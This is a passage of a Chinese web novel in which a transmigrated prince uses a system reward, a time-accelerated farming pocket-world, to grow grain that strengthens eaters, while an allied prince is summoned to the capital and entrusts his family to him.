苏轻雪不再多问,她只是轻轻“嗯”了一声,将这件事记在了心里。
她知道,这个男人心中早已有了万千沟壑。
送走苏轻雪后,叶玄并未休息,而是直接找到了赵阳。
“赵阳,我们营中目前的存粮,还能支撑多久?”
赵阳神情严肃,抱拳回答:“殿下,若只供应一万大雪龙骑,节约一些,可支撑半月。”
“若是加上即将到来的流民和孤儿呢?”叶玄追问。
赵阳的脸色沉了下去,他艰难地吐出几个字。
“最多……三日。”
三日。
这个数字像一块巨石,沉甸甸地压在心口。
风啸天将那些人视为累赘,并非没有道理。一旦接收,这支军队立刻就会被拖垮。
“殿下,我们真的要接收那些人吗?”赵阳忍不住问。
“要。”
叶玄只回答了一个字。
“那些孩子,是我们的未来。那些流民,是我大雪龙骑未来的兵源。”
“可是粮草……”
“粮草的事,我来想办法。”
叶玄挥了挥手,示意赵阳退下。
木屋内,只剩下他一人。
他走到窗边,看着外面被冻得如同铁块一般的土地。
北凉苦寒,几乎寸草不生。
想在这里开垦农田,养活数万人,无异于痴人说梦。
依靠商路从外地运粮?
远水解不了近渴,而且成本之高,足以将他们压垮。
唯一的破局之法,或许只剩下那个他穿越而来时便伴随左右的系统了。
“系统,今日还未签到。”
叶玄在心中默念。
他迈步走出木屋,迎着刺骨的寒风,走到了山谷中一处特意被清理出来的空地。
这里,曾被弟兄们尝试着当做农田,但翻开的泥土很快就和冰雪凝结在一起,坚硬如石,连锄头都难以凿入。
这里是整个山谷,唯一与“农田”二字沾点边的地方。
叶玄站在这片荒芜的土地上,心中带着一丝孤注一掷的念头。
“系统,在此地签到。”
【叮!检测到宿主处于特殊场景:废弃农田。】
【检测到宿主拥有特殊能力:芥子空间。】
【满足升级条件,正在进行融合升级……】
一连串的提示音在叶玄脑海中响起。
他心中一动。
融合升级?
这还是头一次。
【叮!恭喜宿主,融合升级成功!】
【获得奖励一:神农洞天!】
【神农洞天:上古神农氏所留芥子空间,内含一方法则完整的息壤,可随心意改变大小。洞天之内,时间流速可控,最高可调整为外界的一百倍!】
【获得奖励二:赤金薯种!】
【赤金薯种:上古奇珍,根茎如赤金,蕴含磅礴生机。适应性极强,正常环境下一月可熟,亩产万斤!】
两道信息流涌入脑海。
叶玄的呼吸,有那么一瞬间的停滞。
成了!
他压抑住内心的狂喜,仔细消化着脑海中的信息。
神农洞天!
时间流速一百倍!
这意味着,外界过去一天,洞天之内,便是三个多月!
再配上那亩产万斤的赤金薯种……
粮草问题,迎刃而解!
这已经不是简单的解决问题,这是直接给了他一个可以无限爆兵的后勤基地!
他立刻按照脑海中的方法,心念一动,将那无形的【神农洞天】,布置在了山谷一处极其隐蔽且易守难攻的角落。
那里是一片凹进去的山壁,仅有一个狭小的入口。
做完这一切,他立刻传令。
“赵阳,速来见我!”
很快,赵阳便一路小跑而来。
“殿下,有何吩咐?”
叶玄指着那片空无一物的山壁,下达了命令。
“从现在起,将这里列为最高等级的禁区,派双倍岗哨,日夜看守。没有我的手令,任何人不得靠近半步,违令者,斩!”
赵阳看着那光秃秃的岩壁,满脸困惑。
“殿下,这里……有什么重要的东西吗?”
叶玄没有解释,只是淡淡地说了一句。
“跟我来。”
说着,他率先走到了岩壁
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前。
在赵阳不解的注视下,叶玄伸出手,在看似坚硬的岩壁上轻轻一推。
不可思议的一幕发生了。
那片岩壁竟如水波般荡漾开来,一个仅容一人通过的,散发着柔和光晕的门户,凭空出现。
一股混杂着泥土芬芳和草木清香的温暖气息,从门户中扑面而来。
赵阳的眼睛,瞬间瞪得如同铜铃。
他使劲揉了揉眼睛,几乎以为自己是冻出了幻觉。
“殿下……这……这是……”
他的声音都在颤抖。
“进去看看。”
叶玄率先迈步而入。
赵阳犹豫了一瞬,也紧跟着踏入了那道光门。
眼前的景象,让他彻底失语。
门外,是冰封**的酷寒绝地。
门内,却是一片生机盎然的世外桃源!
脚下是松软肥沃的黑土,散发着醉人的气息。一眼望去,无边无际,仿佛整个天地都囊括其中。温暖的阳光笼罩着一切,空气中充满了令人心旷神怡的生命力。
这里,哪里是人间,分明是传说中的仙境!
赵阳这位见惯了生死的铁血悍将,此刻竟像个孩子一样,激动得手足无措,嘴巴张了半天,一个字也说不出来。
“这里,就是我们未来的粮仓。”
叶玄的声音将他从震撼中拉回现实。
他从怀中取出一个小小的布袋,递给赵阳。
“这里面是种子。”
赵阳小心翼翼地接过,那布袋很轻,他却觉得重逾千斤。
“你亲自去挑选十个最忠诚可靠,家里世代都是农户的弟兄。他们的任务,就是在这里面,把这些种子种下去。”
叶…玄的语气变得无比郑重。
“告诉他们,从今天起,他们就是我大雪龙骑的‘神农卫’。他们的家人,按照最高规格供养。而他们,将守护我们所有人的命脉。”
“他们不能离开这里,不能与外界有任何联系。他们存在的唯一目的,就是耕种。”
赵阳猛地单膝跪地,双手将布袋高高举过头顶。
“殿下放心!末将以性命担保,必定完成任务!神农卫,誓死守护此地!”
他不需要再问任何问题。
在看到这片神奇土地的瞬间,他就已经领会了这一切的意义。
这是他们的根基。
是殿下安身立命的本钱!
是他们在这片冰冷的北凉,能够活下去,并且活得更好的唯一希望!
叶玄扶起他,将那袋赤金薯种放入他的手中。
“去吧,记住,此事乃最高机密,除了你和那十位神农卫,我不希望再有第十三个人知晓。”
“末将,遵命!”
赵阳紧紧攥着那袋种子,转身大步流星地走出了神农洞天。
他的背影,充满了前所未有的干劲与决然。
叶玄站在洞天之内,感受着这片土地传来的磅礴生机,心中一块大石终于落地。
兵源,有了。
粮草,也有了。
接下来,就是等待。
等待种子生根发芽,等待流民汇聚而来。
第100章 神农洞天,一日百天!
翌日,天色微明。
山谷中的寒风依旧如刀子般刮着,但赵阳奔跑的身影却带着一股火热。
他甚至来不及通报,便直接冲到了叶玄的木屋前,声音里混杂着激动与一丝无法抑制的颤抖。
“殿下!殿下!出事了!神迹,是神迹啊!”
木门被拉开,叶玄一袭黑衣,神色平静地看着他。
“慌什么。”
赵阳大口喘着粗气,脸被冻得通红,双眼却亮得惊人。
“殿下,那……那片地!您昨天让种下去的种子,今天……今天全都熟了!都熟了啊!”
他语无伦次,指着禁区的方向,仿佛那里有什么恐怖却又让人狂喜的东西。
“一晚上!就一个晚上!地里长满了金灿灿的……像地瓜一样的东西!那十个弟兄都吓傻了,跪在地上磕头,说是天降祥瑞!”
叶玄的反应却淡然得出奇。
“带我去看看。”
当叶玄和赵阳再次踏入那道光门,来到神农洞天时,那十名精挑细选出来的神农卫正跪在田垄边,对着那片金黄的作物顶礼膜拜,口中念念有词。
他们眼前的景象,足以让任何一个农户出声的人颠覆一生的认知。
昨天才刚刚翻开的黑土,此刻已经被茂密的藤蔓覆盖,藤蔓之下,一个个拳头大小、通体呈现出赤金色的块茎,将土壤都顶得微微拱起。
泥土的芬芳混杂着一股奇异的清香,沁人心脾。
“都起来。”
叶玄的声音传来,神农卫们才如梦初醒,纷纷起身,用一种近乎敬畏的目光看着叶玄。
“殿下……这……”为首的一名老兵声音发颤。
“挖出来,洗干净,煮一锅。”
叶玄的命令简单直接。
“是!”
很快,一口行军大锅被架了起来,清冽的山泉水在锅中翻滚。
当洗净的赤金薯被投入锅中时,一股更加浓郁的香气瞬间弥漫开来。
那香气霸道无比,仿佛带着生命力,只是闻上一口,就让人感觉四肢百骸都舒泰了几分。
半个时辰后,大锅被揭开。
热气蒸腾中,煮熟的赤金薯色泽愈发璀璨,仿佛不是凡间的作物,而是用黄金雕琢成的艺术品。
“殿下,请。”
赵阳亲手为叶玄盛了一个。
叶玄接过,轻轻掰开。
金黄色的内里,细腻得如同上好的蜜蜡,热气裹挟着甜香,勾动着人的食欲。
他尝了一口,绵软香甜,入口即化。
更奇妙的是,一股温润的暖流顺着喉咙滑入腹中,随即如同涓涓细流般,悄无声息地散入四肢百骸,滋养着经脉,连日来的疲惫似乎都消散了许多。
“你们也尝尝。”叶玄对着赵阳和那十名神农卫说道。
赵阳早已按捺不住,拿起一个便大口咬下。
下一刻,他的表情凝固了。
作为五品武者,他对自身气机的变化最为敏感。
那股暖流在他体内化开,竟让他那许久未曾松动的灵力,有了一丝微不可查的增长!
虽然只是一丝,但这种不靠苦修,单凭食物就能带来的增长,简直闻所未闻!
“殿下!此物……”赵阳激动得说不出话来。
而那十名神农卫,身经百战,身上多少有些暗伤。
一个赤金薯下肚,他们只觉得浑身暖洋洋的,仿佛泡在温泉里,腰酸背痛的感觉都减轻了不少。
“好东西!真是好东西啊!”
“俺感觉浑身都有劲了!”
赞叹声此起彼伏。
叶玄看着这一切,心中的棋盘,又落下一子。
……
回到木屋,叶玄让人将刚出锅的赤金薯送了一份给苏轻雪。
当苏轻雪看到那盘中之物时,也有些诧异。
“这是……红薯?北凉这种苦寒之地,也能种出这个?”
她拿起一块,小口品尝,动作优雅。
只是刚一入口,她那清冷的眸子里便闪过一丝惊奇。
那股温润的暖流,她也感受到了。虽然她不通武道,但自幼体弱,对身体的变化极为敏感。这股暖流,竟让她感觉浑身都舒畅了许多。
“这东西,叫赤金薯。”叶玄的声音在旁边响起。
苏轻雪放下手中的赤金薯,没有追问这东西的来历,她只是抬起头,看着叶玄。
“产量如何?”
她的第一个问题,直指核心。
“一月一熟,亩产万斤。”叶玄平静地报出数字。
苏轻雪捧着茶杯的手,微微一顿。
月余,亩产万斤。
这八个字,像是一记重锤,敲在她的心上。
她那颗素来以算计闻名的脑袋,开始飞速运转。
“一个月……”她喃喃自语,“若是在某个特殊的地方,时间流速与外界不同
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,或许……一天就能熟?”
她没有抬头,像是在自言自语,又像是在试探。
叶玄笑了笑,没有回答她这个问题,而是反问道:“如果你有此物,你会怎么做?”
“做成独家生意。”
苏轻雪几乎没有思考,便脱口而出。
“此物不仅能果腹,更能滋养身体,对武者有益。寻常的米粮在它面前,不值一提。”
“我会将它包装成最顶级的奢侈品,专门卖给那些世家大族、高阶武者。一块赤金薯,可卖百金!不,千金!”
她的语速越来越快,眼中闪烁着商人的精光。
“我们甚至不需要主动去卖,只需要放出风声,举办一场品鉴会,让那些真正有权势的人尝到它的好处。到那时,他们会挥舞着金票,求着我们卖给他们。”
“有了钱,我们可以购买兵甲、良马、矿石……所有我们需要的一切。这条商路,将不再是简单的以物易物,而是我们掌控天下财富的利刃!”
她停了下来,呼吸略微有些急促,白皙的脸颊上泛起一抹因激动而产生的红晕。
“当然,”她话锋一转,“这是在它数量稀少的情况下。如果……它的产量真的能达到亩产万斤,那它的价值,就不是金钱能够衡量的了。”
“那是什么?”叶玄饶有兴致地问。
苏轻雪抬起眼,一字一句地说道:“是人心,是天下。”
叶玄端起茶杯,饮了一口。
知己,莫过如此。
“你说得对,但饭要一口一口吃。”叶玄放下茶杯,“商路的事情,按你的想法去做。至于这赤金薯,我需要更多。”
他站起身,走到门口。
“赵阳!”
“末将在!”
“传我命令,从大雪龙骑中,再挑选九百九十名忠诚可靠、身家清白的弟兄,扩充神农卫,凑齐千人之数。”
“另外,去镇北城,将城中能买到的所有作物的种子,每样都给我买一些回来,尤其是粮食种子。”
赵阳虽然不解为何还要买那些凡俗的种子,但还是立刻抱拳领命。
“遵命!”
叶玄的目光,望向神农洞天所在的方向。
他需要验证一件事。
这逆天的效果,究竟是赤金薯的种子本就如此,还是说……
那片土地,比他想象中,还要更加神奇。
……
第101章 这米,能让北凉换新天!
又是一天过去。
外界的寒风没有丝毫停歇,但神农洞天外,却是一片热火朝天的丰收景象。
一筐筐赤金薯被神农卫们小心翼翼地抬出,堆积成一座金色的山丘。
而在另一边,还堆放着新收获的其他作物。
有饱满的麦穗,沉甸甸的稻谷,甚至还有一些常见的蔬菜。
这些作物的长势,同样喜人,产量远超外界的良田。
叶玄直接下令。
“开伙!今天,所有人都尝尝我们自己种出来的麦子!”
磨盘转动,金黄的麦粒被碾成面粉,伙夫们揉面、烧火,很快,一个个白白胖胖的馒头便蒸熟出笼。
麦香扑鼻,与赤金薯的甜香截然不同,是一种最质朴的谷物香气。
叶玄拿起一个,掰开,递给身边的一名大雪龙骑甲士。
“尝尝。”
那甲士接过,大口咬下。
馒头劲道,口感极佳。
下一秒,他的双眼微微睁大。
一股比赤金薯弱上许多,但确实存在的暖流,同样在他腹中升起,缓缓散开。
虽然远不如赤金薯那般霸道,但那种温养身体的感觉,做不了假。
“殿下……这面……”
叶玄没有说话,又看向其他人。
所有品尝了新出炉馒头的甲士,脸上都露出了相似的惊奇表情。
成了。
叶玄心中一块巨石彻底落地。
不是种子。
是那片土地!
是神农洞天本身,拥有着化腐朽为神奇的力量!
任何平凡的种子,只要在那片息壤上生根发芽,结出的果实,都会被赋予超凡的特性。
赤金薯种是奇珍,所以效果最强。
而普通的麦子,也能变成蕴含生机的灵谷!
这意味着他拥有了一个可以源源不断产出“战略物资”的基地!
这片洞天,不仅仅是一个粮仓。
它是一个可以批量制造“低配版灵丹妙药”的工厂!
用这些粮食喂养士兵,天长日久,即便资质再差的人,体魄也会远超常人。
大雪龙骑的战力,将会提升到一个匪夷所思的境界!
而他未来的子民,未来的兵源,将从小就食用这种粮食长大。
那将是怎样一副光景?
叶玄站在山谷的寒风中,心中却是一片火热。
北凉这盘棋,他已经找到了破局的胜手。
接下来,就是落子。
将这天下,搅个天翻地覆。
……
三日后,山谷入口处,尘土飞扬。
一支绵延数里的队伍,正缓缓向山谷行来。
队伍的最前方,是数百名镇北军士卒,而在他们护卫之下,是黑压压一片的人群。
他们衣衫褴褛,面黄肌瘦,眼神中带着长途跋涉的疲惫与对未知的麻木。
这些人,正是镇北王风啸天搜罗来的流民。
风云天骑在马上,看着这支庞大的队伍,又看了看前方那座看似平平无奇的山谷,心中五味杂陈。
他实在想不通,叶玄为何要接收这些累赘。
队伍抵达谷口,风云天翻身下马,迎向早已等候在此的叶玄。
“叶兄,人……我都带来了。”
风云天指了指身后望不到头的队伍,又指了指旁边由数十辆大车组成的粮队。
“父亲让我转告你,这五万石粮食,是镇北城能拿出的最大诚意,解你燃眉之急。第一个月,镇北城担了。但往后,这么多人张嘴吃饭,你得自己想办法。”
他的话语中透着一股担忧。
这哪里是助力,分明是甩过来一个天大的包袱。
“替我多谢王爷。”
叶玄的脸上看不出半点忧虑,他平静地看着那些眼神空洞的流民,仿佛看到的不是负担,而是瑰宝。
他转过身,赵阳立刻上前,开始指挥大雪龙骑接管流民,安排他们进入营地。
一切井然有序。
风云天看着这一幕,张了张嘴,最终还是把劝说的话咽了回去。
“叶兄,我任务已经完成,也该回城向父亲复命了。”
“不急。”叶玄叫住他,从怀中取出一个半旧的布袋,递了过去,“来都来了,带点土产回去。”
风云天接过布袋,入手不重,捏了捏,似乎是些谷物。
他有些不解地看向叶玄。
“这是?”
“前些日子闲来无事,在这山谷里开了几亩荒地,随便撒了些种子,刚收上来的。”
叶玄说得云淡风轻。
“味道还行,带回去给王爷和王妃尝个鲜。记住,这可是我这山谷里长出来的头一茬粮食,别浪费了。”
他的话里带着一丝笑意,却让风云天听得一头雾水。
在这鸟不拉屎的苦寒山谷里开荒种地?还能有收成?
他掂了掂手里的布袋,最多也就一两斤米,能做什么?
不过,这毕竟是叶玄的一番心意,风云天没有多问,只是笑着拱手。
“那我就却之不恭了,一定带回去让父亲母亲尝尝叶兄亲手种的粮食。”
说完,他便带着亲卫,策马离去。
……
镇北王府。
风云天一回到府中,便将那只不起眼的布袋交给了后厨的管事。
“王管事,这是叶公子送的米,说是他亲手种的。你今晚做晚饭的时候,单独蒸一锅,给父亲和母亲尝尝。”
“是,世子。”
王管事接过布袋,打开看了看,只见里面的米粒颗颗饱满,色泽隐隐有些不同寻常,但也没多想,便收了起来。
夜幕降临,王府的饭厅里灯火通明。
风啸天处理完一天的军务,带着一身疲惫坐到主位上。
王妃为他盛了一碗饭。
风啸天心事重重,夹起一筷子米饭,送入口中。
米饭入口,软糯香甜,远胜过平日里吃的军粮。
他本未在意,可当米饭顺着喉咙滑入腹中,一股异样的感觉出现了。
一股微弱但清晰的暖流,从胃里升腾而起。
这股暖流并不燥热,反而像冬日里的一小口温酒,悄无声息地渗入他的四肢百骸。
他戎马半生,身上留下的暗伤不知凡几,尤其是一条左臂,每逢阴雨天便会酸痛难当。
可此刻,那股暖流流淌而过,左臂深处常年盘踞的阴
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寒之气,竟有了一丝松动的迹象。
风啸天夹菜的动作,停在了半空。
他再次夹起一筷子米饭,细细咀嚼,仔细感受着体内的变化。
没错。
就是这米饭带来的。
他的呼吸,不自觉地重了几分。
“今天的饭,是谁做的?”他的声音低沉,却带着一股不容置疑的威严。
柳如烟察觉到他的异样,关切地问:“王爷,可是饭菜不合胃口?”
“不,很好。”风啸天放下筷子,“把王管事叫来。”
很快,后厨的王管事便一路小跑着赶了过来。
“王爷。”
“今晚的米饭,里面加了什么?”风啸天问道。
王管事一愣,连忙躬身回答:“回王爷,什么都没加。只是……只是下午的时候,世子带回来一小袋米,说是叶公子送的,交代小人单独蒸出来给王爷和王妃尝鲜。您现在吃的,正是那一锅。”
风啸天的瞳孔,骤然收缩。
叶玄送的米?
“云天呢?”
“世子正在书房。”
“让他过来。”
片刻之后,风云天走进饭厅,看到父亲严肃的表情,心中有些忐忑。
“父亲,您找我?”
风啸天没有说话,只是指了指桌上的那碗米饭。
“这米,是殿下给你的?”
风云天点了点头:“是。今日我将流民送到,临走时,叶兄赠与我的。他说,这是他在山谷里开荒种出的头一茬粮食。”
山谷里,开荒种出?
风啸天拿起筷子,又吃了一口。
那股滋养身体的暖流再次确认无疑。
他想起叶玄那些看似疯狂的举动:主动申请肃清世家,屠灭三万屠各骑兵,建立商路,如今又收留数万流民……
一桩桩,一件件,都透着一股常人无法理解的底气。
原来,这底气……在这里。
风啸天缓缓放下筷子,看着自己的儿子,一字一句地问道:
“他把米给你的时候,还说了什么?一个字都不要漏。”
风云天努力回忆着,将叶玄的话原封不动地复述了一遍。
“……他说,这可是他那山谷里长出来的头一茬粮食,别浪费了。”
头一茬……
风啸天闭上眼睛,靠在椅背上。
这意味着,还会有第二茬,第三茬。
意味着,这种能滋养武者身体、堪比灵药的粮食,可以量产。
北凉最缺的是什么?
是人,是粮。
而这种粮食,不仅能填饱肚子,更能让士兵的体魄在潜移默化中变强。
长此以往,镇北军的战力会提升到何种地步?
若北凉的子民,都吃着这种米长大……
那将是怎样一支军队?
风啸天猛地睁开双眼。
他看着碗里剩下的半碗米饭,那不再是米饭。
那是兵,是甲,是北凉未来的根基。
是能让这片苦寒之地,换一片新天的……希望。
“备马。”
风啸天站起身,声音里带着一丝难以抑制的颤动。
“我要亲自去一趟那座山谷。”
第102章 圣旨到来,镇北王托孤!
王府饭厅的灯火,映照着风啸天脸上难以言喻的激动。
那碗米饭,给了他一个从未敢想过的可能。
一个能让北凉换新天的可能。
“备马!”
他霍然起身,声音里压抑不住的颤动泄露了内心的波涛。
他要亲眼去看看。
去看看那座山谷,看看那个创造了奇迹的年轻人,看看北凉真正的未来。
可他刚迈出一步,一道尖锐急促的声音便如利箭般穿透夜色,刺入王府的每一个角落。
“圣旨到——”
这三个字,仿佛带着京城的阴冷,瞬间扑灭了饭厅里刚刚燃起的火热。
风啸天高大的身躯僵在原地。
他缓缓转过身,望向府门的方向。
王府外,火把通明,一队身着飞鱼服的京城禁卫簇拥着一名面白无须的太监,正大步走来。
那太监手捧一卷明黄的丝绸,脸上挂着皮笑肉不笑的表情,每一步都踩得极有分量,仿佛不是踩在镇北王府的青石板上,而是踩在北凉的脊梁骨上。
风啸天脱下战袍换上的便服,此刻显得格外单薄。
他整理了一下衣冠,一步步走出饭厅,走向那代表着大乾最高权力的使者。
柳如烟和风云天紧随其后,母子二人的脸上写满了不安。
“臣,风啸天,接旨。”
风啸天撩起衣摆,单膝跪地。
他身后,王府上下,乌泱泱跪倒一片。
在北凉,他是说一不二的王。
但在这一纸圣旨面前,他只是大乾的臣。
传旨太监清了清嗓子,展开圣旨,用一种抑扬顿挫的腔调高声念道:
“奉天承运皇帝,诏曰:镇北王风啸天,镇守北疆,功勋卓著,然近日擅杀世家,致北境人心动荡,朕心甚忧。特宣镇北王即刻返京述职,面呈始末,不得有误。钦此!”
每一个字,都像是冰冷的铁钉,狠狠砸进风啸天的心里。
擅杀世家。
人心动荡。
这一幕终究还是传到了叶啸天的耳朵里。
传旨太监合上圣旨,居高临下地看着跪在地上的北凉王。
“王爷,请接旨吧。陛下还在京城等着您呢,您可得快些动身。”
风啸天抬起头,沉默了片刻。
他伸出双手,接过了那卷沉甸甸的圣旨。
“臣,遵旨。”
这三个字,几乎是从牙缝里挤出来的。
……
夜深了。
王府书房内,烛火摇曳。
风啸天坐在主位上,面前的茶水已经凉透。
他将那卷圣旨放在桌上,仿佛那不是丝绸,而是一块烙铁。
“父亲。”
风云天站在一旁,声音干涩。
“别说了,这一幕我早就猜到了。”
风啸天开口了,声音异常平静,平静得让人心慌。
“我若不回京,便是抗旨,坐实了谋反的罪名。届时,叶擎天便可名正言顺地发兵北凉。如今的北凉,挡不住。”
“我若回京,便是自投罗网。太子和那些世家,会像闻到血腥味的狼群一样扑上来,将我撕成碎片。”
风云天嘴唇翕动:“那……那我们该怎么办?”
风啸天看着自己的儿子,这个他一直努力保护,希望他能无忧无虑长大的儿子。
“云天,从明天起,你就是镇北王府的主人了。”
风云天身子一震,脸色瞬间惨白。
“父亲,您不能去!”
“我必须去。”风啸天打断了他,“为北凉,争取时间。”
他站起身,走到风云天面前,为他整理了一下略显凌乱的衣领。
“我走之后,你要记住几件事。”
“第一,照顾好你母亲,无论发生什么,王府不能乱。”
风云天用力点头,眼眶已经红了。
“第二,镇北军的军务,暂时交给几位副将共同掌管,稳住军心。告诉他们,我只是回京述职,很快就会回来。”
“第三……”风啸天顿了顿,语气变得格外郑重,“遇到你解决不了的事情,去那座山谷,找叶玄。”
“父亲?”
“相信他!”风啸天看着窗外的夜色,仿佛能穿透黑暗,看到那座藏着无限希望的山谷,“北凉的未来,或许不在我,也不在你。而在他身上。”
他从怀中取出一封早已写好的信,信封没有署名,也没有封口。
他将信递给风云天。
“把这个,亲手交给他。”
风云天接过信,入手很沉。
他能感觉到,父亲在交出这封
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信的时候,卸下了身上所有的骄傲和伪装。
“父亲,我……”
“记住,像个男人一样,撑起这个家。”风啸天拍了拍儿子的肩膀,“我风啸天的儿子,不能是个懦夫。”
风云天沉默了。
他没有再说话,只是将那封信紧紧攥在手心,指节捏得发白。
一夜无话。
第二天清晨,天色微亮。
镇北城的城门口,气氛肃杀。
风啸天换上了一身玄色劲装,没有穿戴任何王爵的标志,就像一个普通的远行武者。
他翻身上马,动作干脆利落,没有丝毫拖泥带水。
传旨的太监和禁卫早已等得不耐烦,见他准备妥当,立刻催促着队伍出发。
风云天骑马跟在后面,一直将父亲送到城外十里。
队伍停下。
风啸天勒住马,回头看了一眼自己的儿子,又看了一眼远处那座雄伟的镇北城。
他什么也没说,只是挥了挥手,便头也不回地策马远去,身影很快融入了通往南方的官道烟尘之中。
风云天在原地站了很久。
北境的风,吹得他衣袍猎猎作响。
直到父亲的背影彻底消失在地平线上,他才猛地调转马头。
他的脸上,再没有昨日的茫然与无助。
取而代之的,是一种被逼到悬崖边上,不得不破釜沉舟的决绝。
他没有回城。
而是策马扬鞭,朝着另一个方向,那座无名山谷,疾驰而去。
他必须找到叶玄。
父亲的信还在他怀里,每一个字都像是刻在他的心上。
那不是一封托付北凉军政大事的信。
而是一个父亲,一个丈夫,在踏上死路之前,写下的最后请求。
信上说,他风啸天此去,早已将生死置之度外。
但他一生戎马,亏欠妻儿良多。
他的儿子风云天,性子温和,有仁心,却缺了些狠厉和手腕,难当乱世之主。
若他真的回不来,朝廷大军压境,北凉玉石俱焚。
他别无所求。
只求叶玄看在昔日盟友的情分上,保全他的妻儿。
给柳如烟和风云天一条活路。
让他们能在这乱世之中,寻一处安身立命之所,了此残生。
第103章 镇北王府,我叶玄保了!
山谷的清晨,带着一丝沁人心脾的凉意。
与镇北城那肃杀压抑的气氛截然不同,这里仿佛是世外桃源,连风中都夹杂着泥土与草木的芬芳。
风云天一夜未眠,双眼布满血丝,策马冲入谷口时,几乎是从马背上翻滚下来的。
他的呼吸急促而混乱,怀中那封信,仿佛一块烧红的烙铁,烫得他心口发疼。
叶玄正在院中练拳,动作不快,却带着一种奇异的韵律,每一次吐纳都与周围的天地隐隐相合。
看到跌跌撞撞闯进来的风云天,他收了拳势,静静地看着对方。
“叶兄……”
风云天喉咙干涩,只喊出两个字,便再也说不下去,只是将怀里那封皱巴巴的信,用颤抖的双手递了过去。
叶玄接过信。
信纸很沉,似乎承载了一个男人所有的嘱托与决绝。
他展开信纸,逐字逐句地看下去。
院子里很静,只能听到风云天粗重的喘息声,以及远处神农卫劳作时隐约的号子声。
叶玄的表情没有任何变化,只是拿着信纸的手,指节微微收紧。
许久,他才将信纸缓缓叠好。
“我这位父皇的手段,比我想象的还要快,还要狠。”
叶玄的声音很平静,没有丝毫波澜,却让风云天的心沉到了谷底。
“我父亲他……他是不是回不来了?”风云天抱着最后一丝希望,声音里带着哀求。
叶玄没有直接回答,而是看向他。
“王爷一走,北凉的军权便成了无主之物。京城那位陛下,下一步,就是要动镇北军了。”
“他会先安插自己的人,从副将开始,一步步架空王爷留下的旧部。”
“然后,再以某个由头,比如军饷、比如调度,制造内乱,将不听话的将领一一剪除。”
“最后,这二十万镇北军,就会名正言顺地换一个姓氏。”
叶玄每说一句,风云天的脸色就苍白一分。
这些推断,比最锋利的刀子还要伤人,将他心中残存的侥幸切割得支离破碎。
父亲在信中只是托付家小,并未提及这些军国大事。
可叶玄,仅凭一纸圣旨,就洞悉了这背后一环扣一环的毒计。
“那我该怎么办?我该怎么办?”风云天彻底乱了方寸,像个无助的孩子。
“从今天起,你不再是镇北王世子。”
叶玄走到他面前,直视着他的眼睛。
“你是镇北王府的主人,是北凉未来的王。”
风云天身子一颤。
“王爷既然将你和王妃托付给我,我叶玄便接着。”
“从此刻起,镇北王府与我,便是真正的唇亡齿寒,一荣俱荣,一损俱损。”
叶玄的承诺没有半句豪言壮语,却像一根定海神针,让风云天剧烈波动的心绪,有了一丝安定的迹象。
“多谢叶兄……”
“光说谢没用。”叶玄打断他,“赵阳!”
一声呼唤,身材魁梧、气息沉凝的赵阳大步从不远处走来。
“主上!”
“这位是风云天,镇北王世子。”叶玄指着风云天,对赵阳说道,“从今天起,他的安危,便是大雪龙骑的头等大事。王府有任何需要,你必须无条件满足。”
“若是我不在谷中,他若有事相寻,他的命令,就等同于我的命令。”
赵阳没有丝毫犹豫,对着风云天一抱拳,沉声道:“见过风世子!主上放心,赵阳明白!”
这已经不是简单的结盟。
这是在交底。
是将自己最精锐的力量,毫无保留地向风云天敞开了一个口子。
风云天怔怔地看着这一幕,心中涌起一股暖流,但随即便捕捉到了叶玄话中的一个词。
“叶兄,你刚才说……你不在谷中?”
他的心猛地又提了起来,好不容易抓住的依靠,难道要离开北凉?
“对。”
叶玄没有隐瞒,坦然点头。
“王爷被召入京,打乱了我们所有的部署,也加快了我们的步伐。”
他转身,示意风云天跟他走几步。
“大雪龙骑虽然战力无双,但终究只有一万之数。后续的兵源扩充、兵甲更替、战马粮草,每一项都是吞金巨兽。单靠北凉一地,养不起。”
“更何况,皇帝已经动手,他绝不会再让一粒米、一寸铁从关内流向北凉。”
风云天的心情愈发沉重,这些问题,他以前从未想过。
“所以,我必须走出去。”
叶玄的语气里透着一股不容置疑的决断。
“我要去南边,去大乾最富庶的江南,去京城!”
“去做生意?”风云天有些难以
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置信。
“对,做生意。”叶玄笑了笑,“而且,我有这世上最好的商品。”
他指的是什么,风云天瞬间就想到了。
是那种能让人脱胎换骨的米!
“我要用神农洞天的粮食,敲开江南世家的大门,换回我们需要的海量金银、兵器、战马!”
“我要在京城,在太子的眼皮子底下,建立起属于我们自己的商业帝国和情报网络!”
“以后,我在北凉的日子会少很多。谷中之事,有赵阳他们。王府和镇北军,就要靠你了。”
叶玄拍了拍风云天的肩膀。
“你回去后,什么都不要做,先稳住。告诉那些忠于王爷的将领,让他们也稳住。只要大雪龙骑还在北凉一日,就没人能动得了镇北王府。”
“更何况,二十万镇北军,不是他叶擎天一纸圣旨就能完全掌控的。人心,还在王爷这边。”
一番话,有安抚,有布局,有未来的宏图。
风云天原本混乱的思绪,被叶玄一点点梳理清晰。
他看着叶玄,这个比自己还年轻几分的八皇子,身上却有着一种仿佛能撑起天地的沉稳与气魄。
他深吸一口气,将怀中那封已经浸透了汗水的信重新拿了出来,双手捧着,递还给叶玄。
“叶兄,这封信,请您收好。”
他的声音,已经没有了之前的颤抖,多了一份坚定。
“父亲信中只求保全我们母子性命,那是他作为父亲和丈夫的私心。”
“但我风云天,作为他的儿子,作为镇北王府的继承人,我求的,不止是活下去。”
“我要求叶兄,助我夺回北凉军权,助我……迎回我父亲!”
他朝着叶玄,深深一揖。
这一拜,拜下的,是一个少年最后的软弱。
抬起的,是一个男人扛起的如山重担。
叶玄默默地接过那封信,郑重地放入怀中。
“好。”
他只说了一个字。
却比千万句承诺,都要来得厚重。
“回去吧,王妃还在等你。记住,从现在开始,你走的每一步,都要让北凉所有人看到,镇北王府的脊梁,没有断。”
风云天重重点头,转身离去。
他的背影,依旧单薄。
但在清晨的阳光下,却被拉得很长,很直。
第104章 南下,六品之境!
风云天离去的背影,在叶玄的眼中停留了片刻,便被他抛之脑后。
一个人的成长,终究要靠自己。
他能做的,是推一把,是给一个支点,至于风云天能否撬动北凉这片沉重的大地,就要看他自己的造化了。
叶玄转身回到院中,苏轻雪正从屋里走出来,手上还端着一个空了的药碗。
“他走了?”苏轻雪的声音很轻。
“走了!”
“你的计划,是不是都被打乱了?”苏轻雪走到他身边,帮他整理了一下有些凌乱的衣领。
“计划,永远赶不上变化。”
“不过是把一些事情提前了而已。”
他看着远处的山峦,那里是神农卫劳作的地方,隐约能看到一片片被开垦出来的田地。
“北凉,终究太小,也太穷了。”
